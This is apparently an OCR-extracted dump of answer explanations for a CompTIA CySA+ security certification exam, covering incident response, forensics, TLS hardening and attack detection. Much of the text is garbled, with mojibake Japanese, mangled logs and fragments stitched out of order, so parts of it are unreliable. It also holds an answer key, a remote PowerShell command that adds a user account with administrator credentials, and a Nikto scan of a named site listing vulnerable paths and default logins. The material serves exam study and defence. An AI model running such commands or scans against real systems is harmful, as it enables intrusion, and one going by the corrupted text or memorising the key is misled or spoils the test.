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Compensating controls are the best approach to minimize the risk of the outdated servers being compromised, as they can provide an alternative or additional layer of security when the
primary control is not feasible or effective. Compensating controls are security measures that are implemented to mitigate the risk of a vulnerability or an attack when the primary control is not
feasible or effective. For example, if the servers are running outdated operating systems and cannot be patched, a compensating control could be to isolate them from the rest of the network,
or to implement a firewall or an intrusion prevention system to monitor and block any malicious traffic to or from the servers. Compensating controls can help reduce the likelihood or impact of
an exploit, but they do not eliminate the risk completely. Therefore, the security analyst should also consider upgrading or replacing the outdated servers as soon as possible.
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The most likely explanation for this traffic pattern is C2 beaconing activity. C2 stands for command and control, which is a phase of the Cyber Kill Chain that involves the adversary attempting
to establish communication with a successfully exploited target. C2 beaconing activity is a type of network traffic that indicates a compromised system is sending periodic messages or signals
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to an attacker's system using various protocols, such as HTTP(S), DNS, ICMP, or UDP. C2 beaconing activity can enable the attacker to remotely control or manipulate the target system or
network using various methods, such as malware callbacks, backdoors, botnets, or covert channels.
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Microsegmentation involves dividing a network into smaller, isolated segments to restrict lateral movement within the network. This is crucial within a Zero Trust architecture, which assumes
that no entity (internal or external) is inherently trustworthy. By limiting access to only necessary network segments, microsegmentation reduces the impact of a potential breach by containing
it within a limited area. CompTIA emphasizes microsegmentation as an effective strategy to minimize risk and improve security posture by isolating resources based on the principle of least
privilege.
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Performing input validation before allowing submission is the best recommendation for remediation of this application vulnerability. Input validation is a technique that checks the data entered
by users or attackers against a set of rules or constraints, such as data type, length, format, or range. Input validation can prevent common web application attacks such as SQL injection,
cross-site scripting (XSS), or command injection, which exploit the lack of input validation to execute malicious code or commands on the server or the client side. By validating the input
before allowing submission, the web application can reject or sanitize any malicious or unexpected input, and protect the user credentials and other sensitive data from being compromised12.
References: Input Validation - OWASP, 4 Most Common Application Vulnerabilities and Possible Remediation
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The key goal of the containment stage in an incident response process is to limit further damage from occurring. This involves taking immediate steps to isolate the affected systems or
network segments to prevent the spread of the incident and mitigate its impact. Containment strategies can be short-term, to quickly stop the incident, or long-term, to prepare for the
eradication and recovery phases.
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An important aspect that should be included in the lessons-learned step after an incident is to identify any improvements or changes in the incident response plan or procedures. The lessons-
learned step is a process that involves reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or
best practices. Identifying any improvements or changes in the incident response plan or procedures can help enhance the security posture, readiness, or capability of the organization for
future incidents
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Command-and-control (C2) beaconing involves compromised systems communicating with an attacker's server at regular intervals, often using HTTPS to blend in with legitimate traffic. This
is indicative of a potential compromise where malware communicates back to a command center. The persistent nature of the connections after hours and throughout the day suggests
automated beaconing, which is a tell-tale sign of C2 activity. According to CompTIA CySA+, this type of activity should raise immediate suspicion and warrants further investigation and
containment. While options B, C, D, and E might indicate other issues, they do not fit the pattern described as well as option A.
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* SOAR (Security Orchestration, Automation, and Response) platforms help automate and orchestrate incident response tasks, including phishing triage.
* SOAR reduces triage time by automatically:

* Parsing phishing emails (checking headers, links, attachments).

* Running automated playbooks to check for known malicious indicators.

* Escalating real threats while dismissing false positives.

Why Not Other Options?

* B (Increase security awareness) # Helps prevent phishing but does NOT reduce triage time.

* C (Implement EDR) # EDR is useful for endpoint protection but does NOT specifically reduce phishing triage time.

* D (Install a "Report Phishing" button) # Helps report phishing but does NOT automate the triage process.

Reference: CompTIA CySA+ CS0-003, Chapter 7: "Security Operations and Automation," Section: "SOAR and Incident Response Efficiency"
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Indicators of compromise (loCs) are pieces of data or evidence that suggest a system or network has been compromised by an attacker or malware. loCs can include IP addresses, domain
names, URLs, file hashes, registry keys, network traffic patterns, user behaviors, or system anomalies. loCs can be used to detect, analyze, and respond to security incidents, as well as to
share threat intelligence with other organizations or authorities. loCs can produce the data needed for an executive briefing on possible threats to the organization, as they can provide
information on the source, nature, scope, impact, and mitigation of the threats.
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DMARC (Domain-based Message Authentication, Reporting, and Conformance)helps organizations prevent email spoofing and phishing by enforcing policies based on SPF and DKIM.
* Option B (DKIM - DomainKeys ldentified Mail)verifies message integritybut does not enforce policies.

* Option C (SPF - Sender Policy Framework)prevents spoofingbut is not as comprehensive as DMARC.

* Option D (SMTP - Simple Mail Transfer Protocol)is just anemail delivery protocol, not a security control.

Thus,A (DMARC) is the correct answer, asit combines SPF and DKIM to prevent spoofing and phishing attacks.
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The observed activity from a privileged account indicates an insider attack, which is when a trusted user or employee misuses their access rights to compromise the security of the
organization. Accessing emails and sensitive information, modifying audit logs, and logging in at abnormal times are all signs of malicious behavior by a privileged user who may be trying to
steal, tamper, or destroy data, or cover their tracks. An insider attack can cause significant damage to the organization's reputation, operations, and compliance12.

References: The Privileged ldentity Playbook Guides Management of Privileged User Accounts, How to Track Privileged Users' Activities in Active Directory

BfE: 53

SOCIF, A—H—T7HV Y ML ETHVEEZELTEHOID TANAM A —ICERL TSI LERT 77— b2V OO RELET HEEOEVEDSRR VT A AINGIRT L
270 2RTBEHDI——BRERN AN ITAEEELAHY £9.SOCHEENHIERZHINT ARIFERTILELAHLOTXRDENTT H,

A. DNS

B. tcpdump

C. Directory

D. IDS

IEfE: (EfEZRERLET)

Intrusion Detection Systems (IDS) logs provide visibility into network traffic patterns and can help detect insecure or unusual connections. These logs will show if non-secure protocols are
used, potentially revealing exposed credentials. According to CompTIA CySA+, IDS logs are essential for identifying malicious activity related to communications and network intrusions.
Options like DNS (A) and tcpdump (B) provide network details, but IDS specifically monitors for intrusions and unusual activities relevant to security incidents.
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Rolling out a CDN is the best control to mitigate the Layer 4 DDoS attacks against the company website. A CDN is a Content Delivery Network, which is a system of distributed servers that
deliver web content to users based on their geographic location, the origin of the web page, and the content delivery server. A CDN can help protect against Layer 4 DDoS attacks, which are
volumetric attacks that aim to exhaust the network bandwidth or resources of the target website by sending a large amount of traffic, such as SYN floods, UDP floods, or ICMP floods. A CDN
can mitigate these attacks by distributing the traffic across multiple servers, caching the web content closer to the users, filtering out malicious or unwanted traffic, and providing scalability and
redundancy for the website12. References: How to Stop a DDoS Attack: Mitigation Steps for Each OSI Layer, Application layer DDoS attack | Cloudflare
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The correct answer is A. Configure the server to prefer TLS 1.3 and B. Remove cipher suites that use CBC.

A padding oracle attack is a type of attack that exploits the padding validation of a cryptographic message to decrypt the ciphertext without knowing the key. A padding oracle is a system that
responds to queries about whether a message has a valid padding or not, such as a web server that returns different error messages for invalid padding or invalid MAC. A padding oracle
attack can be applied to the CBC mode of operation, where the attacker can manipulate the ciphertext blocks and use the oracle's responses to recover the plaintext12.

To remediate this issue, the organization should make the following configuration changes:

* Configure the server to prefer TLS 1.3. TLS 1.3 is the latest version of the Transport Layer Security protocol, which provides secure communication between clients and servers. TLS 1.3 has
several security improvements over previous versions, such as:

* It deprecates weak and obsolete cryptographic algorithms, such as RC4, MD5, SHA-1, DES,

3DES, and CBC mode.

* It supports only strong and modern cryptographic algorithms, such as AES-GCM, ChaCha20- Poly1305, and SHA-256/384.

* It reduces the number of round trips required for the handshake protocol, which improves performance and latency.

* It encrypts more parts of the handshake protocol, which enhances privacy and confidentiality.

* It introduces a zero round-trip time (0-RTT) mode, which allows resuming previous sessions without additional round trips.

* It supports forward secrecy by default, which means that compromising the long-term keys does not affect the security of past sessions3456.

* Remove cipher suites that use CBC. Cipher suites are combinations of cryptographic algorithms that specify how TLS connections are secured. Cipher suites that use CBC mode are
vulnerable to padding oracle attacks, as well as other attacks such as BEAST and Lucky 13. Therefore, they should be removed from the server's configuration and replaced with cipher suites
that use more secure modes of operation, such as GCM or CCM78.

The other options are not effective or necessary to remediate this issue.

Option C is not effective because configuring the server to prefer ephemeral modes for key exchange does not prevent padding oracle attacks. Ephemeral modes for key exchange are
methods that generate temporary and random keys for each session, such as Diffie-Hellman or Elliptic Curve Diffie-Hellman. Ephemeral modes provide forward secrecy, which means that
compromising the long-term keys does not affect the security of past sessions. However, ephemeral modes do not protect against padding oracle attacks, which exploit the padding validation
of the ciphertext rather than the key exchange9.

Option D is not necessary because requiring client browsers to present a user certificate for mutual authentication does not prevent padding oracle attacks. Mutual authentication is a process
that verifies the identity of both parties in a communication, such as using certificates or passwords. Mutual authentication enhances security by preventing impersonation or spoofing attacks.
However, mutual authentication does not protect against padding oracle attacks, which exploit the padding validation of the ciphertext rather than the authentication.

Option E is not necessary because configuring the server to require HSTS does not prevent padding oracle attacks. HSTS stands for HTTP Strict Transport Security and it is a mechanism
that forces browsers to use HTTPS connections instead of HTTP connections when communicating with a web server. HSTS enhances security by preventing downgrade or man-in-the-
middle attacks that try to intercept or modify HTTP traffic.

However, HSTS does not protect against padding oracle attacks, which exploit the padding validation of HTTPS traffic rather than the protocol.
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Option F is not effective because removing cipher suites that use GCM does not prevent padding oracle attacks. GCM stands for Galois/Counter Mode and it is a mode of operation that
provides both encryption and authentication for block ciphers, such as AES. GCM is more secure and efficient thanCBC mode, as it prevents various types of attacks, such as padding oracle,
BEAST, Lucky 13, and IV reuse attacks. Therefore, removing cipher suites that use GCM would reduce security rather than enhance it .

References:

1 Padding oracle attack - Wikipedia

2 flast101/padding-oracle-attack-explained - GitHub

3 A Cryptographic Analysis of the TLS 1.3 Handshake Protocol | Journal of Cryptology

4 Which block cipher mode of operation does TLS 1.3 use? - Cryptography Stack Exchange

5 The Essentials of Using an Ephemeral Key Under TLS 1.3

6 Guidelines for the Selection, Configuration, and Use of ... - NIST

7 CBC decryption vulnerability - .NET | Microsoft Learn

8 The Padding Oracle Attack | Robert Heaton

9 What is Ephemeral Diffie-Hellman? | Cloudflare

[10] What is Mutual TLS? How mTLS Authentication Works | Cloudflare

[11] What is HSTS? HTTP Strict Transport Security Explained | Cloudflare

[12] Galois/Counter Mode - Wikipedia

[13] AES-GCM and its IV/nonce value - Cryptography Stack Exchange
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Mean Time to Detect (MTTD) is the most appropriate Key Performance Indicator (KPI) to monitor the effectiveness of an incident response reporting and communication program among the
choices provided.

* Why B is correct: The primary goal of an " incident reporting " program (whether automated by tools or reported by users/staff) is to alert the security team to an issue as quickly as possible.
MTTD measures the average time it takes for an organization to identify (detect and report) an incident after it has occurred. A lower MTTD directly indicates that the reporting mechanisms
and communication channels from the source to the analysts are operating effectively.

* Why A is incorrect: Incident volume measures the quantity of incidents, which reflects the threat landscape or workload rather than the effectiveness of the response program itself. While an
increase in user-reported volume can indicate better awareness, MTTD is the standard performance metric for the process.

* Why C is incorrect: Average time to patch is a KPI for Vulnerability Management, not Incident Response reporting.

*Why D is incorrect: Remediated incidents refers to the volume of resolved issues (Response/Recovery phase) and does not specifically measure the speed or quality of the reporting and
communication (detection) phase.

In Domain 4 (Reporting and Communication) and Domain 1 (Security Operations), CompTIA emphasizes the use of time-based metrics to evaluate process maturity.

* MTTD (Mean Time to Detect): Measures " dwell time " and the efficiency of the Detection & Reporting phase.

*MTTR (Mean Time to Respond): Measures the efficiency of the Response & Recovery phase.
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invoke-command -ComputerName clientcomputerl -Credential xyzcomg®hy'wmdministrator -ScriptBlock (HOSTName)

cligntcomputer]

invoke-gemmand -Copryrariame clientcomputer]l -Credentia®y x§zcompany‘\administrator -ScriptBlock (net user /add inveke ul}

The command-cOompléeved successfully,
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The endpoint log entry shows that a new account named "admin" has been created on a Windows system with a local group membership of "Administrators". This indicates that a new
account has been introduced on the system with administrative privileges. This could be a sign of malicious activity, such as privilege escalation or backdoor creation, by an attacker who has
compromised the system.
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A cloud access security broker (CASB) is a tool that can help reduce the risk of shadow IT in the enterprise by providing visibility and control over cloud applications and services. A CASB can
enable policy enforcement by blocking unauthorized or risky cloud applications, enforcing data loss prevention rules, encrypting sensitive data, and detecting anomalous user behavior.
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Data loss prevention (DLP) is a tool that can prevent the exposure of Pll outside of an organization by monitoring, detecting, and blocking sensitive data in motion, in use, or at rest.
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The CISO's requirements prioritize protecting customer (sensitive) data with encryption both in transit and at rest. The database that violates the most critical requirements-especially for
sensitive/customer data-should be remediated first.

Why Database4 is the highest priority

* Sensitive data + no encryption in transit (Port 80): Port 80 indicates HTTP (clear-text), which means no encryption in transit. Secbay explicitly states: "HTTP is a clear-text protocol that is
generally secured via an SSL/TLS tunnel to produce HTTPS transmission."

* Uses weak/unsupported TLS version (TLS 1.1) + sensitive data: Even if TLS is "listed," TLS 1.1 is not considered acceptable in modern secure configurations. Secbay's protocol
acceptability list marks TLS

1.1 = No (not acceptable), while TLS 1.2/1.3 are acceptable.

* Customer data must be encrypted in transit and at rest: Secbay provides the exact requirement-style statement: "The organization implements encryption for sensitive data both in transit
and at rest...

Sensitive customer data is encrypted..."

So Database4 is the most severe because it involves Sensitive (customer) data while failing the "encryption in transit" requirement (HTTP/80) and also relying on an unacceptable TLS version
(1.1).

Why the other databases are lower priority

* Database3: TLS 1.2 on 443 + encryption at rest enabled + sensitive data # it already meets the CISO requirements.

* DatabaseZ2: Port 80 (no transit encryption) and encryption at rest disabled, but the data type is proprietary, not explicitly customer/sensitive. It is still important, but Database4 is worse
because it impacts sensitive/customer data.

* Database1: Data type is public; while TLS 1.1 is weak, it does not violate the "customer data" requirement and is less severe than Database4's clear-text transport for sensitive data.
References (CompTIA CySA+ CS0-003 documents / study guides used):

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): encrypt sensitive customer data in transit and at rest

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): HTTP is clear-text; TLS 1.1 not acceptable while TLS 1.2/1.3 are acceptable
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Making a forensic image of the device and creating a SRA-I hash is the best step to preserve evidence, as it creates an exact copy of the device's data and verifies its integrity. A forensic
image is a bit-by-bit copy of the device's storage media, which preserves all the information on the device, including deleted or hidden files. A SRA-I hash is a cryptographic value that is
calculated from the forensic image, which can be used to prove that the image has not been altered or tampered with. The other options are not as effective as making a forensic image and
creating a SRA-I hash, as they may not capture all the relevant data, or they may not provide sufficient verification of the evidence's authenticity. Official References:

* https://www.sans.org/blog/forensics-101-acquiring-an-image-with-ftk-imager/

* https://swailescomputerforensics.com/digital-forensics-imaging-hash-value/
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Fuzzing is a testing technique where invalid or random data is inputted into a system to find vulnerabilities, crashes, or unexpected behaviors. It's commonly used in software security to
identify flaws that could lead to security breaches. According to CompTIA's CySA+ curriculum, fuzzing is a dynamic testing method for exposing application weaknesses. Options like static
testing (B) involve analyzing code without execution, while reverse engineering (A) and debugging (D) involve different methodologies for understanding or fixing code, not intentionally
stressing it.
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The Cyber Kill Chain is a framework that describes the stages of a cyberattack from reconnaissance to actions on objectives. The exploitation stage is where attackers take advantage of the
vulnerabilities they have discovered in previous stages to further infiltrate a target's network and achieve their objectives. In this case, the malicious actor has gained access to an internal
network by means of social engineering and does not want to lose access in order to continue the attack. This indicates that the actor is in the exploitation stage of the Cyber Kill Chain.
Official References: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill- chain.html
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Generating a hash value and making a backup image is the best method to ensure the data on the device is not modified, as it creates a verifiable copy of the original data that can be used
for forensic analysis. Encrypting the device, protecting it with a password, or performing a memory scan dump do not prevent the data from being altered or deleted. Verified References:
CompTIA CySA+ CS0-002 Certification Study Guide, page

3291
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* Risk Acceptance means acknowledging a risk and choosing not to take further action because the cost of mitigation may outweigh the benefits.
* It is the last resort when:

* The risk is low impact or unlikely to occur.

* Other options (mitigation, transfer, avoidance) are not feasible.

Why Not Other Options?

* A (Transfer) # Moving risk to a third party (e.g., insurance).

* C (Mitigation) # Implementing security controls to reduce risk.

* D (Avoidance) # Eliminating the risk entirely (e.g., discontinuing a service).

Reference: CompTIA CySA+ CS0-003, Chapter 9: "Risk Management and Compliance," Section: "Risk Response Strategies."
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The suspicious line in the web server logs is an attempt to execute a command on the server, indicating a command injection attack.References: CompTIA CySA+ Study Guide: Exam
CS0-003, 3rd Edition, Chapter

5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.
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After recovering a compromised server to its previous state, the analyst should perform forensic analysis to determine the root cause, impact, and scope of the incident, as well as to identify
any indicators of compromise, evidence, or artifacts that can be used for further investigation or prosecution. References:

CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 244; CompTIA CySA+ CSO-

003 Certification Study Guide, Chapter 6, page 253.
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shared @LinuxHint: - x

. :
Fle Edt View Search Terminal Help
T EFFFFEFTFFSIIFFFTETFFFTFFTISIFTFFFEFFFPEIFFTFIFTIFTFFFFTEFFIFIFFFIFTFIFFS IS FFSISSIITFIEITETT

+ Server: Apache
Root page / redirects to: https://www.proz.com/
No CGI Directories found (use '-C all' to force check all possible dirs)
File/dir '/crawler-pit/' in robots.txt returned a non-forbidden or redirect HTTP code (280)
File/dir '/profiles/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
File/dir '/profile/$/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
File/dir '/profile?/' in robots.txt returnced a non-forbidden or redirect HTTP code (200)
File/dir '/profile/?/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
File/dir '/translator/2372%/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
File/dir '/profile/127329%/' in robots.txt returned a non-forbidden or redirect HTTP code. (200)
File/dir '/7?sp=10gin/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
File/dir '/7sp=404/" in robots.txt returned a non-forbidden or redirect HTTP code (200)
File/dir '/translation-news/wp-admin/' in robots.txt returned a non-forbidden or redirect HTTP code (500)
1ruhnts.txt' contains 10 entries which should be manually viewed.
ines
/crossdomain.xal contains 1 line which should be nanually viewed for isproper dorains or wildcards.
Server 15 using a wildcard certificate: '*.proz.coa’
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/1ibrary/eB82z01xdh%28VS.80%29.aspx for details.
+ /kboard/: KBoard Forum 6.3.0 and prior have a security problem in Torus edit post.php, forum post.php and forum_reply.php
+ /\ists/admin/: PHPList pre 2.6.4 contains a number of vulrerabilities including remote administrative access, harvesting user info and more. Default
login to admin interface is adain/phplist
; !splas:ﬁdmin.p?p: Cobalt Qube 3 admin is running. This may have multiple security problems as described by www.scan-associates.net. These could not
e tested remotely.
+ /ssdefs/: Sitesced pre 1.4.2 has 'major’' security probless.
+ /sshome/: Siteseed pre 1.4.2 has 'major' security probless.
+ /tiki/: Tiki 1.7.2 and previous allowed restricted Wikl pages to be viewed via a "URL trick'. Default login/pass could be admin/adain
+ /tiki/tiki-install.php: Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a "URL trick'. Default login/pass could be admin/admi
n
+ /scripts/samples/detalls.idc: See RFP 9901; www.wiretrip.net
+ 05VDB-396: / vti bin/shtml.exe: Attackers may be able to crash FrontPage by requesting a DOS device, like shtml.exe/aux.htm -- a DoS was not attempt
ed.
+ 0SVDB-637: /~root/: Allowed to browse root'S home directory.
+ /cgi-bin/wrap: comes with IRIX 6.2; allows to view directories
+ /fortms//admin/config.php: PHP Config file may contain database IDs and passwords.
/forums//adm/config.php: PHP Config file may contain database IDs and passwords. X
F ffurums!!adninistrutur!canfig php PHP tnnfig fiie may cnntain database IDs nnd pnsswnrﬂi
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The security administrator should investigate shtml.exe next, as it is a potential vulnerability that allows remote code execution on the web server. Nikto scan results indicate that the web
server is running Apache on Windows, and that the shtml.exe file is accessible in the /scripts/ directory. This file is part of the Server Side Includes (SSI) feature, which allows dynamic content
generation on web pages. However, if the SSI feature is not configured properly, it can allow attackers to execute arbitrary commands on the web server by injecting malicious code into the
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URL or the web page12. Therefore, the security administrator should check the SSI configuration and permissions, and remove or disable the shtml.exe file if it is not needed. References:
Nikto- Penetration testing. Introduction, Web application scanning with Nikto
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The analyst should review PID 768 first because it is the parent process of another suspicious process (PID

1100) and it is also highly suspicious itself due to its unexpected file path.

Why PID 768 is the best first process to review

* Path anomaly (strong 10C): Legitimate Windows binaries like calc.exe and cmd.exe are normally found in trusted OS directories (e.g., C:\\Windows\System32\). In the table, both CALC.exe
and CMD.exe appear in a user's Documents folder (C:\Users\JDoe\Documents\...). That is a classic sign of masquerading (a malicious binary using a legitimate-sounding name). The All-in-
One guide explicitly describes how attackers disguise malicious processes by using legitimate-sounding names and mimicking system processes.

* Parent-child relationship (investigation priority): PID 1100 (Documents\CMD.exe) is suspicious, but it is a child of PID 768 (Documents\CALC.exe). Investigating the parent first helps you
understand what spawned the suspicious child, what activity preceded it, and whether PID 768 is the root of the execution chain. The All-in-One guide highlights that analysts should examine
process parent-child relationships and investigate unexpected dependencies as a way to detect malicious activity:Exact extract (All-in-One Exam Guide): "Analyze process dependencies
Examine process parent-child relationships and investigate any unexpected or unusual dependencies that may indicate malicious activity." It also emphasizes monitoring
grandparent/parent/child relationships to detect deviations from normal process hierarchies:Exact extract (All-in-One Exam Guide): "Monitoring the relationships between processes,
particularly grandparent, parent, and child relationships, can be a valuable method for detecting unusual activity."

* Abused/LOLBIN context: cmd.exe is a commonly abused Windows utility in attacks. The Sybex Study Guide notes that attackers often abuse built-in tools and that abnormal OS process
behavior involving tools like cmd.exe can indicate compromise:Exact extract (Sybex Study Guide): "For Windows systems, a handful of built-in tools are most commonly associated with
attacks like these, including cmd.exe..." Why the other options are less correct

* A (533) and B (740) are running from C:\Windows\System32\... which is the expected location for legitimate Windows binaries in normal circumstances, so they're less suspicious than the
copies running from a user Documents folder.

* D (1100) is suspicious, but it is a child of PID 768. Investigating 768 first helps determine the origin and execution chain that led to the suspicious cmd instance.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): parent/child process dependency analysis; process hierarchy monitoring; masquerading techniques

* Mike Chapple & David Seidl, CompTIA CySA+ Study Guide (CS0-003): abnormal OS process behavior; cmd.exe commonly associated with attacks
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Time stamp |Message

LDAF: A read operation was perfarmed on an object: Domain
20:06:05 Admins

LDAF: A read operatign Was performed on an object. Domain
A0 Servers

20:.06:08 EDR: A localardlip was enumerated. Administrators
20:06:23 EDR: S!‘f-tB connectiomattempts to-muitiplg hosts from single
host: PC021
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1. Analyze the Log Evidence: The log displays a specific sequence of rapid-fire events (within 18 seconds) characteristic of automated reconnaissance tools used to map Active Directory
environments.

*20:06:05 (LDAP Reads): The attacker queries the directory for high-value groups (Domain Admins) and critical infrastructure (Domain Servers). They are not trying to log in; they are reading
the membership lists to see who is important and where the servers are.

*20:06:09 (EDR Enumeration): The attacker checks the local Administrators group. This is to see if the current compromised user has admin rights or who does.

*20:06:23 (SMB Connections): The host PC021 attempts to connect to multiple other hosts. This indicates the attacker is testing where they can move laterally using the credentials or access
they currently have.

2. Why this is " Finding the Shortest Path " (Option A): This behavior is the textbook signature of tools like BloodHound (or its data collector, SharpHound).

* Concept: Adversaries use these tools to visualize relationships in Active Directory. They query LDAP to find out: " | am User A. Which computers can | access? Who is a Domain Admin? Is
a Domain Admin logged into a computer | can access? "

* Goal: The tool calculates the mathematical " shortest path " (graph theory) from the attacker ' s current low-level foothold to the ultimate target (Domain Admin).

* The combination of LDAP querying (mapping the graph) and SMB connection attempts (verifying sessions/local admin rights) confirms the adversary is mapping out the network to find the
most efficient route to total compromise.

Why the other options are incorrect:

* B. An adversary is performing a vulnerability scan: Vulnerability scanners (like Nessus or Qualys) typically probe ports and services to identify unpatched software (CVEs). They generally do
not focus on querying LDAP for " Domain Admins " group membership as their primary action.

* C. An adversary is escalating privileges: While the attacker intends to escalate privileges eventually, the logs show enumeration (Discovery phase). They are currently looking for the path to
escalate, not actively exploiting a vulnerability (like a kernel exploit) to change their privilege level in this specific snapshot.

* D. An adversary is performing a password stuffing attack: Password stuffing involves high volumes of failed authentication attempts against a login service. The logs here show read
operations and connection attempts, not the " Invalid Credential " errors associated with stuffing.
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Passive network foot printing is the best description of the example, as it reflects the technique of collecting information about a network or system by monitoring or sniffing network traffic
without sending any packets or interacting with the target. Foot printing is a term that refers to the process of gathering information about a target network or system, such as its IP addresses,
open ports, operating systems, services, or vulnerabilities.

Foot printing can be done for legitimate purposes, such as penetration testing or auditing, or for malicious purposes, such as reconnaissance or intelligence gathering. Foot printing can be
classified into two types:

active and passive. Active foot printing involves sending packets or requests to the target and analyzing the responses, such as using tools like ping, traceroute, or Nmap. Active foot printing
can provide more accurate and detailed information, but it can also be detected by firewalls or intrusion detection systems (IDS). Passive foot printing involves observing or capturing network
traffic without sending any packets or requests to the target, such as using tools like tcpdump, Wireshark, or Shodan. Passive foot printing can provide less information, but it can also avoid
detection by firewalls or IDS. The example in the question shows that the attacker has gained access to the syslog server on a LAN and reviewed the syslog entries to prioritize possible next
targets. A syslog server is a server that collects and stores log messages from various devices or applications on a network. A syslog entry is a record of an event or activity that occurred on a
device or application, such as an error, a warning, or an alert. By reviewing the syslog entries, the attacker can obtain information about the network or system, such as its configuration,
status, performance, or security issues.

This is an example of passive network foot printing, as the attacker is not sending any packets or requests to the target, but rather observing or capturing network traffic from the syslog server.
The other options are not correct, as they describe different techniques or concepts. OS fingerprinting is a technique of identifying the operating system of a target by analyzing its responses
to certain packets or requests, such as using tools like Nmap or Xprobe2. OS fingerprinting can be done actively or passively, but it is not what the attacker is doing in the example. Service
port identification is a technique of identifying the services running on a target by scanning its open ports and analyzing its responses to certain packets or requests, such as using tools like
Nmap or Netcat. Service port identification can be done actively or passively, but it is not what the attacker is doing in the example. Application versioning is a concept that refers to the
process of assigning unique identifiers to different versions of an application, such as using numbers, letters, dates, or names. Application versioning can help to track changes, updates,
bugs, or features of an application, but it is not related to what the attacker is doing in the example.
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An Office document with a malicious macro was opened is the most likely explanation for the suspicious activity on the company laptop, as it reflects the common technique of using macros to
execute PowerShell commands that download and run malware. A macro is a piece of code that canautomate tasks or perform actions in an Office document, such as a Word file or an Excel
spreadsheet. Macros can be useful and legitimate, but they can also be abused by threat actors to deliver malware or perform malicious actions on the system. A malicious macro can be
embedded in an Office document that is sent as an attachment in a phishing email or hosted on a compromised website. When the user opens the document, they may be prompted to enable
macros or content, which will trigger the execution of the malicious code. The malicious macro can then use PowerShell, which is a scripting language and command-line shell that is built into
Windows, to perform various tasks, such as downloading and running malware from a remote URL, bypassing security controls, or establishing persistence on the system. The log excerpt
shows that PowerShell was used to download a string from a URL using the WebClient.DownloadString method, which is a common way to fetch and execute malicious code from the
internet. The log also shows that PowerShell was used to invoke an expression (iex) that contains obfuscated code, which is another common way to evade detection and analysis.

The other options are not as likely as an Office document with a malicious macro was opened, as they do not match the evidence in the log excerpt. A credential-stealing website was visited
is possible, but it does not explain why PowerShell was used to download and execute code from a URL. A phishing link in an email was clicked is also possible, but it does not explain what
happened after the link was clicked or how PowerShell was involved. A web browser vulnerability was exploited is unlikely, as it does not explain why PowerShell was used to download and
execute code from a URL.
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Vulnerability management reporting and communication focuses on giving stakeholders the information they need to prioritize, assign, track, and complete remediation. That typically includes:
* Risk severity / risk score (to prioritize and communicate urgency)

* Timelines (when fixes are due, often tied to SLOs/SLAs and internal targets)

* Dependencies (what must happen first or what systems/teams a fix relies on)

* Remediation ownership / responsible parties (who is accountable for fixing each item) This maps directly to Option D.

Exact extract (CompTIA CySA+ CS0-003 Exam Objectives - Vulnerability management reporting):

Vulnerability management reporting includes "Risk score ... [and] Prioritization." Exact extract (Secbay Press - Key components of action plans used for reporting/communication):
* "Timeline and Prioritization: Specify timelines for addressing each vulnerability..."

* "Responsible Parties: Clearly identify individuals or teams responsible..."

* "Communication Strategy: Outline how the organization will communicate progress..." These are the same practical reporting/communication items expressed in Option D:

* "Risk severity levels" # risk score / severity used for prioritization

* "Timelines" # timeline definition in action plans

* "Remediation ownership" # responsible parties/accountability

* "Dependencies" are commonly tracked because they affect timelines and ownership (for example, engineering/ops sequencing and prerequisite changes), and they align with the objective's
focus on prioritization/action planning and stakeholder communication.

Why the other options are not the best match:
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* Aincludes items that are valuable inputs to prioritization (risk assessment, BIA), but vulnerability reporting/communication (per objectives) is centered on reporting vulnerabilities, affected
hosts, risk scoring, mitigations, recurrence, prioritization, and action plans, not BCPs as core reporting factors.

* B mixes relevant items (MTTR, dependencies) with disaster recovery plans, which are DR/BC-focused rather than core vulnerability reporting elements.

* C includes several incident response / SOC monitoring metrics (alert volume characteristics, MTTD) that are not the primary focus of vulnerability management reporting (even though false
positives can be tracked as a VM metric, the overall set is misaligned).

References (CompTIA CySA+ CS0-003 documents / study guides used):

* CompTIA CySA+ CS0-003 Exam Obijectives v4.0: vulnerability management reporting includes risk score and prioritization; action plans and stakeholder communication

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): action plan components include timelines, responsible parties (ownership), and communication strategy
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Integrity validation is the process of ensuring that the digital evidence has not been altered or tampered with during collection, acquisition, preservation, or analysis. It usually involves
generating and verifying cryptographic hashes of the evidence, such as MD5 or SHA-1. Integrity validation is essential for maintaining the accuracy and admissibility of the digital evidence in
court.
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An on-path attack is a type of man-in-the-middle attack where an attacker intercepts and modifies network traffic between two parties. In this case, someone with internal access may be
performing an on-path attack by forcing users into port 80, which is used for HTTP communication, instead of port 443, which is used for HTTPS communication. This would allow the attacker
to compromise the user accounts and access the company's internal portal.
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IEfE: (EfEZRRLET)
Thechain of custodyis a documented history that tracks how evidence is handled, collected, transported, and preserved at every stage of the forensic investigation. If a gap exists in the record
of who transferred or accessed the evidence, it could call into question the integrity and admissibility of the evidence.

* Validating data integrity (Option A)refers to ensuring that the forensic image is identical to the original data, often using cryptographic hashing, but it does not address procedural gaps in
documentation.

* Preservation (Option B)involves protecting the original evidence from modification or loss but does not include logging transfers of custody.
* Legal hold (Option C)refers to a requirement to preserve data for legal proceedings, which is different from tracking evidence handling.
Thus, the correct answer isD, as chain of custody directly relates to tracking who had access to the evidence and when.
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The correct answer is A because the incident involves PHI - protected health information. Healthcare organizations are subject to regulatory requirements such as HIPAA, and incidents
involving unauthorized access to PHI commonly require regulatory reporting and notification to affected individuals.

Exact supporting extract: the Secbay CySA+ guide states that some regulations require organizations to report incidents and notify affected individuals when privacy-impacting incidents
